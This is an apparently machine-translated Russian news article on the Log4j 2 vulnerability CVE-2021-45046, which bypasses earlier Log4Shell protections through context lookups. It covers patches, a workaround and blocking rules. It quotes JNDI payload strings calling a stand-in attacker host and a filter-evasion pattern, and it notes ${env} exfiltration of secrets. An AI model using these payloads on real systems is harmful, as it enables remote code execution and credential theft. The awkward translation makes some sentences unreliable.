Они выявили еще одну уязвимость Log4j 2, которая позволяет запускать вредоносный код.

log4j

Недавно появилась новость, что это было обнаружил еще одну уязвимость в реализации поиска JNDI в библиотеке Log4j 2 (CVE-2021-45046), что происходит, несмотря на исправления, добавленные в версии 2.15, и независимо от использования параметра защиты «log4j2.noFormatMsgLookup».

Проблема это особенно опасно в основном для старых версий Log4j 2, защищенный флагом noFormatMsgLookup, поскольку он позволяет обойти защиту от прошлых уязвимостей (Log4Shell, CVE-2021-44228), что позволяет запускать ваш код на сервере.

Для версия 2.15, работа ограничена созданием условий за аварийное завершение работы приложения из-за исчерпания доступных ресурсов.

Уязвимость влияет только на системы, использующие контекстный поиск, такие как $ {ctx: loginId} или шаблоны Thread Context Map (MDC), такие как% X,% mdc и% MDC, для регистрации.

Операция сводится к созданию условий для отправки данных, содержащих подстановки JNDI, в реестр при использовании контекстных запросов или шаблонов MDC в приложении, которые определяют правила форматирования вывода в реестр.

Исследователи LunaSec отметили чем для версий Log4j ниже 2.15, эту уязвимость можно использовать как новый вектор для атаки Log4Shell., что приводит к выполнению кода, если выражения ThreadContext используются при публикации в реестр, который включает внешние данные, независимо от того, установлен ли флаг для защиты. Шаблон "NoMsgFormatLookups" или "% m {nolookups}".

Обход защиты сводится к тому, что вместо прямой подстановки «$ {jndi: ldap: //example.com/a}» этим выражением подставляется значение промежуточной переменной, используемой в правилах для форматирования извлечения. реестр.

Например, если при отправке в реестр используется контекстный запрос $ {ctx: apiversion}, атака может быть проведена путем подстановки данных "$ {jndi: ldap: //attacker.com/a}" в значение записывается в переменную отклонения.

В версии Log4j 2.15 уязвимость может использоваться для выполнения DoS-атак. при передаче значений в ThreadContext, который выполняет цикл обработки шаблона выходного формата.

Чтобы иметь возможность попытаться решить возникшие проблемы вышли обновления 2.16 и 2.12.2 заблокировать уязвимость. В ветви Log4j 2.16, в дополнение к исправлениям, реализованным в версии 2.15 и привязке запросов JNDI LDAP к "localhost", по умолчанию функциональность JNDI полностью отключена, а поддержка шаблонов подстановки сообщений была удалена.

В качестве обходного пути предлагается удалить класс JndiLookup из пути к классам (например, «zip -q -d log4j-core - *. Jar org /apache/logging/log4j/core/lookup/JndiLookup.class»).

Что же касается действия, предпринятые различными проектами:

к NginxНа основе модуля njs подготовлен скрипт, который блокирует передачу JNDI-выражений в заголовках HTTP, URI и теле POST-запросов. Скрипт можно использовать на интерфейсных серверах для защиты бэкендов..
Для HAProxy предоставляются правила конфигурации, блокирующие работу CVE-2021-44228.

Помимо ранее выявленных атак, направленных на формирование ботнета для майнинга криптовалюты, в Log4J 2 использовалась уязвимость для распространения вредоносных программ-вымогателей, шифрующих содержимое дисков и требующих выкупа за расшифровку.

Checkpoint определила около 60 вариантов различные типы эксплойтов, используемых для атак.

CloudFlare сообщил, что пытается протестировать проявление уязвимости в Log4j они были выявлены 1 декабря, то есть за 8 дней до публичного раскрытия проблемы. Первые попытки эксплуатации уязвимости были зафиксированы всего через 9 минут после раскрытия информации. В отчете CloudFlare также упоминается использование таких замен, как «$ {env: FOO: -j} ndi: $ {lower: L} дает $ {lower: P}», чтобы опустить маску «jndi: ldap» и использование Выражения атаки $ {env} для передачи информации о паролях и ключах доступа, хранящихся в переменных среды, на внешний сервер и выражения $ {sys} для сбора информации о системе.

В конце концов если вам интересно узнать об этом больше вы можете проверить по следующей ссылке.


Содержание статьи соответствует нашим принципам редакционная этика. Чтобы сообщить об ошибке, нажмите здесь.

Будьте первым, чтобы комментировать

Оставьте свой комментарий

Ваш электронный адрес не будет опубликован.

*

*

  1. Ответственный за данные: AB Internet Networks 2008 SL
  2. Назначение данных: контроль спама, управление комментариями.
  3. Легитимация: ваше согласие
  4. Передача данных: данные не будут переданы третьим лицам, кроме как по закону.
  5. Хранение данных: база данных, размещенная в Occentus Networks (ЕС)
  6. Права: в любое время вы можете ограничить, восстановить и удалить свою информацию.

bool (истина)